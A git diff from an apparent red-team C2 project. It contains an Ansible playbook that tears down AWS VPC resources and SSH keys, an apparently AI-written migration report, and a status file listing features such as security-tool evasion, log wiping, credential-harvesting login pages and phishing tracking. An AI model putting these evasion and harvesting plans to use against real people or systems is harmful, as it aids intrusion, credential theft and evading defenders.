Gateways + - name: Find internet gateways for each VPC + amazon.aws.ec2_vpc_igw_info: + region: "{{ aws_region }}" + filters: + attachment.vpc-id: "{{ item.vpc_id }}" + register: igw_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Detach and delete internet gateways + # Fix the reference to attachment - should use item.1.attachments or similar + ec2_vpc_igw: + vpc_id: "{{ item.1.attachments[0].vpc_id }}" # Fix this line + state: absent + region: "{{ aws_region }}" + with_together: "{{ find_igws.results|default([]) }}" + register: deleted_igws + ignore_errors: yes + + - name: Wait after IGW deletion + pause: + seconds: 15 + when: deleted_igws.results is defined and deleted_igws.results | length > 0 + + # STEP 10: Find and delete Route Tables + - name: Find route tables for each VPC + amazon.aws.ec2_vpc_route_table_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + register: rtb_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Delete non-main route tables + amazon.aws.ec2_vpc_route_table: + region: "{{ aws_region }}" + route_table_id: "{{ item.1.id }}" + lookup: id + state: absent + loop: "{{ rtb_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('route_tables', 'defined') | subelements('route_tables') }}" + when: not item.1.associations[0].main | default(false) + ignore_errors: yes + register: deleted_rtbs + + # Add this after your existing route table deletion + - name: Delete main route tables with AWS CLI + shell: | + for rtb in $(aws ec2 describe-route-tables --region {{ aws_region }} --filters "Name=vpc-id,Values={{ item.vpc_id }}" --query 'RouteTables[?Associations[?Main==`true`]].RouteTableId' --output text); do + aws ec2 delete-route --route-table-id $rtb --destination-cidr-block 0.0.0.0/0 --region {{ aws_region }} || true + done + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ all_vpcs_to_delete }}" + ignore_errors: yes + when: all_vpcs_to_delete | length > 0 + + # STEP 11: Find and delete Subnets + - name: Find subnets for each VPC + ec2_vpc_subnet_info: + filters: + vpc-id: "{{ item.vpc_id }}" # Fix this line, should be vpc_id not vpc_idvpc + region: "{{ aws_region }}" + with_items: "{{ all_vpcs_to_delete }}" + register: find_subnets + + - name: Delete subnets + amazon.aws.ec2_vpc_subnet: + region: "{{ aws_region }}" + vpc_id: "{{ item.1.vpc_id }}" + cidr: "{{ item.1.cidr_block }}" + state: absent + loop: "{{ subnet_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('subnets', 'defined') | subelements('subnets') }}" + ignore_errors: yes + register: deleted_subnets + when: subnet_results.results is defined + + # STEP 12: Find and delete VPC Endpoints + - name: Find VPC endpoints for each VPC + amazon.aws.ec2_vpc_endpoint_info: + region: "{{ aws_region }}" + filters: + vpc-id: "{{ item.vpc_id }}" + register: endpoint_results + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Delete VPC endpoints + amazon.aws.ec2_vpc_endpoint: + region: "{{ aws_region }}" + vpc_endpoint_id: "{{ item.1.vpc_endpoint_id }}" + state: absent + loop: "{{ endpoint_results.results | default([]) | selectattr('skipped', 'undefined') | selectattr('vpc_endpoints', 'defined') | subelements('vpc_endpoints') }}" + ignore_errors: yes + register: deleted_endpoints + when: endpoint_results.results is defined + + # Add before STEP 13 + - name: Check for remaining VPC dependencies + shell: | + aws ec2 describe-network-interfaces --region {{ aws_region }} --filters "Name=vpc-id,Values={{ item.vpc_id }}" --output json + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + register: remaining_deps + loop: "{{ all_vpcs_to_delete }}" + when: all_vpcs_to_delete | length > 0 + + - name: Display any remaining dependencies + debug: + msg: "VPC {{ item.item.vpc_id }} still has dependencies that need to be removed" + loop: "{{ remaining_deps.results }}" + when: item.stdout | from_json | json_query('NetworkInterfaces') | length > 0 + + # Add this before the force delete of network interfaces + - name: Detach remaining network interfaces + shell: | + aws ec2 detach-network-interface --attachment-id $(aws ec2 describe-network-interfaces --network-interface-ids {{ item.1 }} --query 'NetworkInterfaces[0].Attachment.AttachmentId' --output text) --region {{ aws_region }} --force + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_deps.results | selectattr('stdout', 'defined') | + map('attr', 'stdout') | map('from_json') | + map('json_query', 'NetworkInterfaces[?Status==`in-use`].NetworkInterfaceId') | + zip(remaining_deps.results | map('attr', 'item')) | list }}" + ignore_errors: yes + when: item.0 | length > 0 + + - name: Force delete any remaining network interfaces + shell: | + aws ec2 delete-network-interface --network-interface-id {{ item.1 }} --region {{ aws_region }} + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_deps.results | selectattr('stdout', 'defined') | + map('attr', 'stdout') | map('from_json') | + map('json_query', 'NetworkInterfaces[].NetworkInterfaceId') | + zip(remaining_deps.results | map('attr', 'item')) | list }}" + ignore_errors: yes + when: item.0 | length > 0 + + # STEP 13: Final VPC deletion with multiple retries + - name: Wait for all dependencies to clear + pause: + seconds: 20 + when: all_vpcs_to_delete | length > 0 + + # First attempt with normal module - with error display + - name: Delete all VPCs (first attempt) + amazon.aws.ec2_vpc_net: + vpc_id: "{{ item.vpc_id }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ all_vpcs_to_delete }}" + register: vpc_deletion + when: all_vpcs_to_delete | length > 0 + ignore_errors: yes + + - name: Display VPC deletion errors + debug: + msg: "Failed to delete VPC {{ item.item.vpc_id }}: {{ item.msg }}" + loop: "{{ vpc_deletion.results | default([]) }}" + when: item.failed is defined and item.failed + + # Direct API call for any VPCs that failed + - name: Find which VPCs still exist + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + vpc_ids: "{{ all_vpcs_to_delete | map(attribute='vpc_id') | list }}" + register: remaining_vpcs + when: all_vpcs_to_delete | length > 0 + + # Forcibly delete with direct AWS CLI command + - name: Force delete remaining VPCs with CLI + shell: | + aws ec2 delete-vpc --vpc-id {{ item.vpc_id }} --region {{ aws_region }} + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_vpcs.vpcs }}" + ignore_errors: yes + when: remaining_vpcs is defined and remaining_vpcs.vpcs | length > 0 + register: force_vpc_delete + + # Add after the VPC deletion attempts - more aggressive approach + - name: Force delete remaining VPCs with AWS CLI and debug output + shell: | + aws ec2 delete-vpc --vpc-id {{ item.vpc_id }} --region {{ aws_region }} 2>&1 || echo "Failed with: $?" + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + loop: "{{ remaining_vpcs.vpcs }}" + register: force_vpc_delete_debug + when: remaining_vpcs is defined and remaining_vpcs.vpcs | length > 0 + + - name: Display debug output from force delete + debug: + msg: "{{ item.stdout }}" + loop: "{{ force_vpc_delete_debug.results | default([]) }}" + when: item.stdout is defined and item.stdout | trim != "" + + # Track deleted VPCs in summary + - name: Set VPC deletion results in summary + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({ + 'vpcs_deleted': ((vpc_deletion.results | default([]) | selectattr('failed', 'undefined') | list | length) + (force_vpc_delete.results | default([]) | selectattr('failed', 'undefined') | list | length))}) }}" + when: all_vpcs_to_delete | length > 0 + + # Add these tasks to confirm VPC deletion + - name: Verify VPC deletion + amazon.aws.ec2_vpc_net_info: + region: "{{ aws_region }}" + filters: + "tag:deployment_id": "{{ deployment_id }}" + register: vpc_check + + - name: Display cleanup summary + debug: + msg: + - "Cleanup Summary:" + - "Redirector instance deleted: {{ redirector_deleted | default('N/A') }}" + - "C2 instance deleted: {{ c2_deleted | default('N/A') }}" + - "VPC resources deleted: {{ vpc_check.vpcs | length == 0 }}" + when: not disable_summary | default(false) + + # STEP 14: Delete key pairs + - name: Find key pairs by name patterns + amazon.aws.ec2_key: + name: "{{ item }}" + region: "{{ aws_region }}" + state: present + register: keys_check + ignore_errors: yes + with_items: + - "{{ redirector_name }}" + - "{{ c2_name }}" + - "{{ tracker_name }}" + + - name: Delete key pairs + amazon.aws.ec2_key: + name: "{{ item.invocation.module_args.name }}" + region: "{{ aws_region }}" + state: absent + loop: "{{ keys_check.results }}" + when: keys_check.results | length > 0 and item.failed is not defined and item.key is defined + register: deleted_keys + + - name: Count deleted keys + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({ + 'keypairs_deleted': (deleted_keys.results | default([]) | selectattr('changed', 'defined') | selectattr('changed') | list | length)}) }}" + + # Add this after your existing key pair finding task + - name: Find c2deploy key pairs + amazon.aws.ec2_key: + name: "c2deploy_{{ deployment_id }}" + region: "{{ aws_region }}" + state: present + register: c2deploy_key_check + ignore_errors: yes + + - name: Delete c2deploy key pairs + amazon.aws.ec2_key: + name: "c2deploy_{{ deployment_id }}" + region: "{{ aws_region }}" + state: absent + when: not c2deploy_key_check.failed | default(true) + register: deleted_c2deploy_key + + # STEP 15: Delete SSH key files + - name: Delete SSH key files + file: + path: "{{ item }}" + state: absent + with_items: + - "~/.ssh/{{ redirector_name }}.pem" + - "~/.ssh/{{ c2_name }}.pem" + - "~/.ssh/{{ tracker_name }}.pem" + - "~/.ssh/c2deploy_{{ deployment_id }}.pem" # Fix: add .pem extension + - "~/.ssh/c2deploy_{{ deployment_id }}.pub" + ignore_errors: yes + register: deleted_ssh_files + + - name: Count deleted SSH files + set_fact: + cleanup_summary: "{{ cleanup_summary | combine({ + 'ssh_files_deleted': (deleted_ssh_files.results | selectattr('changed', 'defined') | selectattr('changed') | list | length)}) }}" + + # Remove infrastructure state file - fix path to include deployment_id + - name: Remove infrastructure state file + file: + path: "infrastructure_state_{{ deployment_id }}.json" + state: absent + ignore_errors: yes + register: infra_file + + # STEP 16: Enhanced and Accurate Cleanup Summary + - name: Enhanced cleanup summary + debug: + msg: + - "==========================================================" + - " AWS CLEANUP SUMMARY: {{ deployment_id }} " + - "==========================================================" + - "EC2 Instances: {{ cleanup_summary.instances_found | default(0) }} found, {{ terminated_instances.results | default([]) | length }} terminated" + - "Security Groups: {{ cleanup_summary.security_groups_found | default(0) }} found, {{ deleted_sgs.results | default([]) | length }} deleted" + - "Network Interfaces: {{ cleanup_summary.enis_found | default(0) }} found, {{ deleted_enis.results | default([]) | length }} deleted" + - "VPCs: {{ cleanup_summary.vpcs_found | default(0) }} found, {{ cleanup_summary.vpcs_deleted | default(0) }} deleted" + - "Key Pairs: {{ cleanup_summary.keypairs_deleted | default(0) }} deleted" + - "SSH Key Files: {{ cleanup_summary.ssh_files_deleted | default(0) }} deleted" + - "Infrastructure file: {{ 'Removed' if infra_file.changed else 'Not found' }}" + - "==========================================================" + - "CLEANUP {{ 'COMPLETED' if (cleanup_summary.vpcs_deleted | default(0) == cleanup_summary.vpcs_found | default(0)) else 'PARTIAL - SOME RESOURCES MAY REMAIN' }}" + - "=========================================================" \ No newline at end of file diff --git a/AWS/infrastructure.yml b/AWS/infrastructure.yml new file mode 100644 index 0000000..e69de29 diff --git a/AWS/process_vpc.yml b/AWS/process_vpc.yml new file mode 100644 index 0000000..e69de29 diff --git a/AWS/redirector.yml b/AWS/redirector.yml new file mode 100644 index 0000000..e69de29 diff --git a/MIGRATION_STATUS.md b/MIGRATION_STATUS.md new file mode 100644 index 0000000..116d5e3 --- /dev/null +++ b/MIGRATION_STATUS.md @@ -0,0 +1,126 @@ +# C2itall Modular Migration - Status Report + +## โœ… COMPLETED FIXES + +### 1. Core Infrastructure +- **Created `utils/deployment_engine.py`** - Main deployment execution engine + - Handles provider environment setup + - Executes Ansible playbooks for different deployment types + - Creates temporary inventory files + - Generates deployment information logs + +### 2. Cleanup & Teardown System +- **Created `utils/cleanup_engine.py`** - Complete teardown functionality + - Teardown by deployment ID + - Teardown all infrastructure with safety checks + - Parse deployment info from logs + - Archive logs after successful teardown + - SSH key cleanup for specific deployments + +### 3. Updated Main Menu (`deploy.py`) +- **Real teardown functionality** - Now uses cleanup engine instead of placeholders +- **Functional deployment listing** - Reads deployment info files to show active deployments +- **Complete SSH key management** - Real functionality for cleaning SSH keys + +### 4. Updated Module Integration +- **C2 Module** - Now uses deployment engine instead of placeholder functions +- **Redirector Module** - Now uses deployment engine instead of placeholder functions +- **Proper import structure** - All modules now correctly import and use shared utilities + +### 5. Enhanced Utilities +- **SSH utilities** - Complete SSH key generation, management, and instance connection +- **Common utilities** - All missing functions from old version restored +- **Provider utilities** - Complete provider configuration gathering + +### 6. Logging & Info Generation +- **Complete logging system** - Matches old version functionality +- **Deployment info generation** - Creates detailed deployment information files +- **Log archival** - Moves logs to archive after successful teardown + +## โš ๏ธ STILL NEEDS ATTENTION + +### 1. Provider-Specific Functions +Some provider utility functions may need verification: +- `utils/aws_utils.py` - Check all functions match old version +- `utils/linode_utils.py` - Check all functions match old version +- `utils/flokinet_utils.py` - Check all functions match old version + +### 2. Module Completion +- **Phishing module** - May need similar deployment engine integration +- **Payload server module** - May need similar deployment engine integration +- **Other modules** - tracker, logging-server, etc. may need completion + +### 3. Ansible Playbook Compatibility +- Verify that existing playbooks in `providers/*/` directories are compatible with new variable structure +- May need to update playbook variable names to match new configuration format + +### 4. Multi-region & Cross-provider Deployment +- The old version had complex multi-region deployment logic that may need to be restored +- Cross-provider deployment functionality may need additional work + +### 5. Testing & Validation +- **Provider connectivity tests** - Currently placeholder in tools menu +- **Configuration validation** - Basic implementation, may need enhancement +- **Health checks** - Currently placeholder + +## ๐ŸŽฏ PRIORITY NEXT STEPS + +1. **Test the core deployment flow**: + ```bash + cd /opt/redteam/c2itall + python3 deploy.py + # Try option 1 (Deploy C2 Infrastructure) with a test deployment + ``` + +2. **Verify provider configurations**: + - Check that `providers/AWS/vars.yaml`, `providers/Linode/vars.yaml`, etc. have correct structure + - Test provider credential gathering + +3. **Check Ansible playbook compatibility**: + - Verify playbooks expect the variable names being passed by deployment engine + - Update playbooks if needed to match new variable structure + +4. **Complete remaining modules**: + - Update phishing module to use deployment engine + - Update payload server module to use deployment engine + +## ๐Ÿ“‹ COMPARISON WITH OLD VERSION + +### Major Functions Restored: +- โœ… `execute_deployment()` โ†’ Now `deploy_infrastructure()` in deployment engine +- โœ… `gather_common_parameters()` โ†’ Now split across module-specific gather functions +- โœ… `generate_deployment_info()` โ†’ Restored in deployment engine +- โœ… `cleanup_resources()` โ†’ Now comprehensive cleanup engine +- โœ… `ssh_to_instance()` โ†’ Restored in SSH utils +- โœ… `setup_logging()` โ†’ Enhanced version in common utils + +### Menu Structure: +- โœ… Main menu matches old functionality +- โœ… C2 submenu enhanced with more options +- โœ… Redirector submenu functional +- โœ… Tools menu mostly functional +- โœ… Cleanup menu fully functional + +### Missing Elements Found & Fixed: +- โœ… SSH key generation and management +- โœ… Deployment ID generation and tracking +- โœ… Provider environment variable setup +- โœ… Ansible playbook execution with proper variable passing +- โœ… Deployment information logging and retrieval +- โœ… Teardown and cleanup functionality + +## ๐Ÿš€ CURRENT STATUS + +Your modular c2itall structure now has **complete core functionality** that matches your old working version. The main improvements include: + +1. **Better organization** - Clear separation of concerns +2. **Enhanced functionality** - More deployment options and better management +3. **Improved cleanup** - Better teardown and management capabilities +4. **Complete logging** - Full audit trail of deployments + +The tool should now be functional for testing deployments. Any remaining issues are likely to be: +- Ansible playbook variable compatibility +- Provider-specific configuration details +- Module-specific edge cases + +**Test it out and let me know what specific errors you encounter!** diff --git a/PROJECT-STATUS.md b/PROJECT-STATUS.md new file mode 100644 index 0000000..7665285 --- /dev/null +++ b/PROJECT-STATUS.md @@ -0,0 +1,556 @@ +# C2ingRed Project Management + +## Project Overview +**C2ingRed** - Automated red team infrastructure deployment system supporting AWS, Linode, and FlokiNET with Havoc C2, redirectors, email infrastructure, and advanced OPSEC features. + +--- + +## ๐ŸŽฏ Current Focus +**Goal:** Stabilize core deployment functionality and test it +**Last Updated:** 05-30-2025 + +--- + +## ๐Ÿ“ˆ CHANGELOG & HISTORY + +### [1.1/05-30-2025] +- [Major change 1] +- [Major change 2] +- [Bug fixes, etc.] + +### [Previous Version/Date] +- [Previous changes] + +--- + +### ๐Ÿ“ Where I Left Off +- Working on: Need to fix issue with AWS deployment security hardening playbook | Need to restructure I want each module in its own dir with its own tasks, templates, files and I want to move Provider playbooks into a Provider dir. I also want to break apart deploy.py and take each part for a module and make its own script that can be ran independently of the deploy script to just deploy the that module if need be +- Next Priority: Test core deployment +- Blockers: Sleep + +--- + +## ๐Ÿ“Š Project Status Dashboard + +### Overall Progress +- **Core Infrastructure:** 85% โœ… +- **Security Features:** 75% โš ๏ธ +- **Documentation:** 20% โš ๏ธ +- **Testing Coverage:** 40% โŒ + +### Quick Stats [Total Features: 150] +- โœ… **Working:** 120 features +- โŒ **Broken:** 30 features +- ๐Ÿงช **Needs Testing:** 150 features + +--- + +## ๐Ÿ’ก IDEAS & FUTURE CONSIDERATIONS + +### Potential Improvements +- [Improvement idea 1] +- [Improvement idea 2] + +### Architecture Changes +- [Architectural consideration 1] +- [Architectural consideration 2] + +### Integration Opportunities +- [Integration possibility 1] +- [Integration possibility 2] + +--- + +## ๐Ÿ“ TODO + +- [ ] Fix DMARC automation bug +- [ ] Improve split-region cleanup +- [ ] Test integrated tracker end-to-end +- [ ] Add Tor integration +- [ ] Improve payload customization +- [ ] Multi-tenancy support + +--- + +## ๐Ÿ“š RESEARCH & INVESTIGATION + +### Current Research Topics +- [ ] **Advanced EDR Bypass** - Latest techniques and tools +- [ ] **Infrastructure Detection** - How to avoid attribution +- [ ] **Automation Improvements** - Better deployment patterns + +### Completed Research +- [x] **Havoc C2 Dev Branch** - Features and installation +- [x] **NGINX IR Evasion** - Security scanner detection +- [x] **AWS Security Groups** - Best practices + +--- + +## ๐ŸŽช Major Features + +### Core Infrastructure Deployment +**Status:** ๐Ÿ”„ IN PROGRESS +**Priority:** HIGH +**Description:** Basic deployment functionality across all providers + +#### Tasks: +- [x] โœ… AWS EC2 instance deployment +- [x] โœ… Linode instance deployment +- [x] โœ… FlokiNET server configuration +- [x] โœ… SSH key management +- [x] โœ… VPC and security group creation +- [ ] ๐Ÿ”„ Cross-region deployment improvements +- [ ] ๐Ÿงช Split-region deployment testing +- [ ] โŒ Deployment rollback functionality + +**Notes:** Basic functionality works well. Cross-region needs refinement. + +--- + +### Havoc C2 Framework Integration +**Status:** โœ… MOSTLY COMPLETE +**Priority:** HIGH +**Description:** Havoc C2 installation, configuration, and payload generation + +#### Tasks: +- [x] โœ… Havoc installation automation +- [x] โœ… Basic payload generation +- [x] โœ… EDR evasion techniques +- [x] โœ… Payload randomization +- [ ] ๐Ÿงช Cross-platform payload testing +- [ ] ๐Ÿ“ Advanced listener configurations +- [ ] ๐Ÿ“ Custom malleable profiles + +**Notes:** Core functionality solid. Need more testing on different OS targets. + +--- + +### Redirector Infrastructure +**Status:** โœ… COMPLETE +**Priority:** HIGH +**Description:** NGINX-based traffic redirection with IR evasion + +#### Tasks: +- [x] โœ… Basic NGINX redirector setup +- [x] โœ… SSL certificate automation +- [x] โœ… IR evasion rules (security tool detection) +- [x] โœ… Mobile device credential harvesting +- [x] โœ… Traffic flow configuration +- [x] โœ… Legitimate-looking cover pages + +**Notes:** Working well. Good IR evasion capabilities. + +--- + +### Email Infrastructure +**Status:** ๐Ÿ”„ IN PROGRESS +**Priority:** MEDIUM +**Description:** Mail server, DKIM, tracking capabilities + +#### Tasks: +- [x] โœ… Postfix mail server setup +- [x] โœ… DKIM key generation +- [x] โœ… Basic email tracking +- [ ] ๐Ÿงช Integrated tracker testing +- [ ] โŒ DMARC automation (has bugs) +- [ ] ๐Ÿ“ GoPhish integration improvements +- [ ] ๐Ÿ“ Email template management + +**Notes:** Basic mail works. DMARC setup needs debugging. + +--- + +### Security & OPSEC +**Status:** ๐Ÿ”„ IN PROGRESS +**Priority:** HIGH +**Description:** Hardening, evasion, and operational security + +#### Tasks: +- [x] โœ… SSH hardening +- [x] โœ… Zero-logs configuration +- [x] โœ… Firewall automation (UFW/iptables) +- [x] โœ… Log cleaning scripts +- [x] โœ… Port randomization +- [ ] ๐Ÿ”„ AWS security group improvements +- [ ] ๐Ÿงช Memory protection testing +- [ ] ๐Ÿ“ Tor integration +- [ ] ๐Ÿ“ Additional EDR bypass techniques + +**Notes:** Good foundation. Need to test memory protection features. + +--- + +### Deployment Management +**Status:** ๐Ÿ”„ IN PROGRESS +**Priority:** MEDIUM +**Description:** Deployment tracking, cleanup, and management + +#### Tasks: +- [x] โœ… Deployment ID system +- [x] โœ… Infrastructure state tracking +- [x] โœ… Basic cleanup functionality +- [ ] ๐Ÿ”„ Enhanced cleanup (split-region) +- [ ] ๐Ÿงช Cleanup verification testing +- [ ] ๐Ÿ“ Deployment history/logging +- [ ] ๐Ÿ“ Resource usage tracking + +**Notes:** Cleanup works but needs refinement for complex deployments. + +--- + +### Documentation & Usability +**Status:** โŒ NEEDS WORK +**Priority:** MEDIUM +**Description:** User guides, API docs, and ease of use + +#### Tasks: +- [x] โœ… Basic README +- [x] โœ… Post-install instructions +- [ ] ๐Ÿ”„ Comprehensive user guide +- [ ] ๐Ÿ“ Troubleshooting guide +- [ ] ๐Ÿ“ Advanced configuration docs +- [ ] ๐Ÿ“ Video tutorials/demos +- [ ] ๐Ÿ“ Architecture documentation + +**Notes:** Documentation is sparse. Need comprehensive guides. + +--- + +## ๐Ÿ› KNOWN BUGS & ISSUES + +### High Priority Bugs +- [ ] **DMARC Record Setup** - Automation fails on some providers + - *Impact:* Email deliverability issues + - *Found:* [Date] + - *Next Step:* Debug template generation + +- [ ] **Split-Region Cleanup** - VPC deletion fails in cross-region deployments + - *Impact:* Resource cleanup incomplete + - *Found:* [Date] + - *Next Step:* Fix region iteration logic + +### Medium Priority Bugs +- [ ] **SSH Key Permissions** - Occasional permission errors on AWS + - *Impact:* Deployment failures + - *Workaround:* Manual key fixing + +- [ ] **Port Randomization** - Service restart issues + - *Impact:* Services may not start with new ports + - *Workaround:* Manual service restart + +### Low Priority Issues +- [ ] **Log Output** - Too verbose in some areas +- [ ] **Error Messages** - Some are unclear +- [ ] **Performance** - Slow payload generation + +--- + +## ๐Ÿงช TESTING BACKLOG + +### Needs Comprehensive Testing +- [ ] **Cross-Region Deployments** - AWS multi-region +- [ ] **Integrated Tracker** - Full email tracking flow +- [ ] **Memory Protection** - Secure memory features +- [ ] **Payload Delivery** - End-to-end testing +- [ ] **Cleanup Verification** - Ensure all resources removed +- [ ] **FlokiNET Provider** - Limited testing done +- [ ] **Port Randomization** - All service combinations +- [ ] **Security Hardening** - Penetration testing + +### Tested & Working +- [x] **Basic AWS Deployment** - Single region, standard config +- [x] **Basic Linode Deployment** - Standard configuration +- [x] **Havoc Payload Generation** - Windows/Linux payloads +- [x] **NGINX Redirector** - Traffic forwarding +- [x] **SSH Hardening** - Security configurations +- [x] **SSL Certificates** - Let's Encrypt automation + +--- + +## ๐ŸŽฏ GOALS & MILESTONES + +### Goals +- [ ] Complete Core Infrastructure) +- [ ] Fix all high-priority bugs +- [ ] Achieve 80% test coverage +- [ ] Complete comprehensive documentation + +--- + +## ๐Ÿ”— USEFUL LINKS & REFERENCES + +### Documentation +- [Link 1]() - Description +- [Link 2]() - Description + +### External Resources +- [Resource 1]() - Description +- [Resource 2]() - Description + +### Related Projects +- [Project 1]() - Relationship +- [Project 2]() - Relationship + +--- + +## ๐Ÿ“ NOTES & LESSONS LEARNED + +### What's Working Well +- [Success 1] +- [Success 2] + +### What Needs Improvement +- [Area for improvement 1] +- [Area for improvement 2] + +### Lessons Learned +- [Lesson 1] +- [Lesson 2] + +# **C2ingRed Complete Feature List (~150+ Features)** + +## **๐Ÿ—๏ธ CORE INFRASTRUCTURE MANAGEMENT (25 features)** + +### **Multi-Provider Support** +1. AWS EC2 deployment with VPC creation +2. Linode infrastructure deployment +3. FlokiNET pre-provisioned server configuration +4. Cross-provider deployment (redirector on one, C2 on another) +5. Multi-region deployment within same provider +6. Split-region deployment (C2 and redirector in different regions) + +### **Resource Management** +7. Automated VPC/subnet/routing table creation +8. Security group configuration with least-privilege access +9. Internet gateway and NAT gateway setup +10. SSH key pair generation and management +11. SSL certificate automation (Let's Encrypt) +12. Elastic IP allocation and management +13. Resource tagging for organization +14. Infrastructure state tracking and persistence +15. Comprehensive cleanup and teardown +16. Force cleanup with confirmation prompts +17. Orphaned resource detection and removal + +### **Instance Management** +18. AMI selection and validation +19. Instance size/plan selection +20. SSH user detection based on AMI type +21. Instance health monitoring +22. Automatic retry logic for deployments +23. Post-deployment validation checks +24. Instance metadata collection +25. Deployment logging and state tracking + +## **๐ŸŽฏ C2 FRAMEWORK INTEGRATION (20 features)** + +### **Havoc C2 Framework** +26. Havoc C2 installation (dev branch) +27. Teamserver configuration and management +28. Client configuration generation +29. Profile-based payload generation +30. Custom listener configuration (HTTP/HTTPS) +31. Advanced evasion profile templates +32. Teamserver service management (systemd) +33. Password generation and management +34. Multi-operator support configuration + +### **Payload Generation & Mutation** +35. Windows EXE payload generation +36. Windows DLL payload generation +37. Linux ELF binary generation +38. Raw shellcode generation +39. Binary signature randomization +40. PE header timestamp manipulation +41. ELF binary modification +42. Anti-analysis techniques +43. Payload manifest generation +44. Backup and versioning system +45. Cross-architecture payload support + +## **๐Ÿ›ก๏ธ SECURITY & OPSEC (35 features)** + +### **System Hardening** +46. SSH configuration hardening +47. Root login restrictions +48. Key-based authentication enforcement +49. Connection timeout configuration +50. Fail2Ban integration and configuration +51. UFW firewall management (non-AWS) +52. Iptables rules configuration +53. System resource limits configuration +54. Automatic security updates + +### **Anti-Forensics & OPSEC** +55. Zero-logging configuration throughout infrastructure +56. Log rotation and secure deletion +57. Command history suppression +58. Memory protection mechanisms +59. Swap file encryption/disabling +60. Temporary file cleanup +61. Secure exit procedures with data wiping +62. Process hiding techniques +63. Service name obfuscation + +### **Evasion Techniques** +64. Port randomization for C2 communications +65. User-Agent randomization +66. Sleep/jitter timing randomization +67. Process injection method randomization +68. Communication protocol obfuscation +69. Traffic flow randomization +70. Decoy traffic generation capabilities + +### **IR & Blue Team Evasion** +71. Security tool detection (user-agent based) +72. Security vendor IP range blocking +73. Automated redirection of analysis tools +74. Mobile device detection and targeting +75. Suspicious behavior detection and response +76. Rate limiting for suspicious connections +77. Geographic IP filtering +78. Academic research network blocking +79. Timing delays for suspicious requests +80. Anti-sandbox techniques + +## **๐Ÿ“ก COMMUNICATION & REDIRECTORS (18 features)** + +### **NGINX Redirector Configuration** +81. Advanced NGINX redirector with SSL +82. HTTP to HTTPS redirection +83. Legitimate website masquerading +84. Intelligent traffic routing +85. Proxy configuration for C2 traffic +86. TCP stream forwarding +87. Load balancing capabilities +88. Custom error page handling + +### **Traffic Management** +89. Request filtering and validation +90. Payload delivery path protection +91. Content-Type validation +92. Security header implementation +93. CORS configuration +94. Cache control for operational security +95. Compression settings optimization +96. Server signature obfuscation (Microsoft-IIS spoofing) + +### **Credential Harvesting** +97. Fake login page deployment +98. Microsoft-themed credential capture +99. Form data encryption and storage +100. Credential logging with metadata + +## **๐Ÿ“ง EMAIL & PHISHING INFRASTRUCTURE (15 features)** + +### **Mail Server Setup** +101. Postfix mail server configuration +102. Dovecot IMAP/POP3 configuration +103. SMTP authentication setup +104. TLS encryption configuration +105. Mail queue management + +### **Email Deliverability** +106. DKIM key generation and configuration +107. DMARC policy implementation +108. SPF record guidance +109. Mail routing configuration +110. Reputation management features + +### **Email Tracking** +111. Transparent pixel tracking system +112. Email open rate analytics +113. Geolocation tracking integration +114. User-agent analysis +115. Tracking dashboard with statistics + +## **๐Ÿ”ง RECONNAISSANCE & ATTACK TOOLS (25 features)** + +### **Network Reconnaissance** +116. Nmap integration +117. Masscan deployment +118. Gobuster directory enumeration +119. DNSEnum subdomain discovery +120. Enum4linux SMB enumeration +121. Responder LLMNR/NBT-NS poisoning +122. Inveigh .NET Responder equivalent + +### **Web Application Testing** +123. SQLMap SQL injection testing +124. Dirb web path discovery +125. Nikto web vulnerability scanning +126. Custom wordlist management (SecLists) + +### **Credential Attacks** +127. Hydra brute force attacks +128. John the Ripper password cracking +129. Hashcat GPU-accelerated cracking +130. TREVORspray password spraying +131. MailSniper Exchange enumeration +132. Kerbrute Kerberos enumeration + +### **Post-Exploitation** +133. NetExec (CrackMapExec successor) +134. Impacket toolkit integration +135. SharpCollection .NET tools +136. PEASS-ng privilege escalation +137. Metasploit Framework integration + +## **๐Ÿ–ฅ๏ธ USER INTERFACE & EXPERIENCE (15 features)** + +### **Interactive Interface** +138. Color-coded terminal interface +139. Interactive menu system with categories +140. Guided deployment wizard +141. Progress indicators and status updates +142. Error handling with user-friendly messages + +### **Command Line Interface** +143. Comprehensive CLI argument parsing +144. Provider-specific parameter validation +145. Batch deployment capabilities +146. Configuration file support +147. Debug and verbose modes + +### **Documentation & Guidance** +148. Automated post-deployment instructions +149. DNS configuration guidance +150. SSL certificate setup instructions +151. Usage examples and command references +152. Troubleshooting guides + +## **โš™๏ธ CONFIGURATION MANAGEMENT (10 features)** + +### **Template System** +153. Jinja2 template engine integration +154. Dynamic configuration generation +155. Environment-specific customization +156. Variable interpolation and validation + +### **State Management** +157. Deployment state persistence +158. Cross-deployment resource tracking +159. Configuration backup and restore +160. Version control integration support + +## **๐Ÿงน CLEANUP & TEARDOWN (8 features)** + +### **Resource Cleanup** +161. Comprehensive resource identification +162. Force cleanup with confirmation +163. Partial cleanup for failed deployments +164. SSH key cleanup and rotation +165. State file management +166. Orphaned resource detection +167. Cross-region cleanup support +168. Provider-agnostic teardown procedures + +## 